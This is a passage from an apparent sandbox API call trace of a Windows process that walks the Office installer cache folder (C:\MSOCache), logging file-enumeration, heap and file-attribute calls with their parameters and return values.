(HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.083] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.083] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.084] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89908 [0042.085] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8a6e8 [0042.088] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.088] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="")) returned 1 [0042.090] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.090] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.090] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.090] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.090] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89928 [0042.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8a7f0 [0042.091] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.092] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="")) returned 1 [0042.092] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.092] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.092] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.093] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89948 [0042.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8a8f8 [0042.093] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.094] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0042.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.782] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0042.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89968 [0042.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8aa00 [0042.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.783] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0042.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89988 [0042.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ab08 [0042.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.783] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0042.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf899a8 [0042.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ac10 [0042.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.783] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0042.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf899c8 [0042.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ad18 [0042.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.783] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0042.784] GetLastError () returned 0x12 [0042.784] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0e0 [0042.784] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0042.784] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.784] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0042.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ae20 [0042.784] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0042.814] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0042.814] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0042.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8be90 [0042.814] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8be90, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xf8be90, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0042.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8be90) returned 1 [0042.814] NtClose (Handle=0x180) returned 0x0 [0042.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ae20) returned 1 [0042.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0042.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ae20 [0042.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8af28 [0042.815] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d0a0 [0042.815] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.815] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0042.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.815] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0042.815] GetLastError () returned 0x12 [0042.815] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d120 [0042.815] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0042.815] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.815] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0042.815] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0042.816] GetLastError () returned 0x12 [0042.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8af28) returned 1 [0042.816] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0042.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0042.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ae20) returned 1 [0042.816] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0042.816] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0042.816] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0042.816] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0042.816] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="")) returned 1 [0042.816] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0042.816] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0042.816] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="")) returned 1 [0042.816] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="")) returned 1 [0042.816] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="")) returned 1 [0042.816] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="")) returned 1 [0042.816] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0042.816] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0042.816] FindNextFileW (in: hFindFile=0x60d0e0, 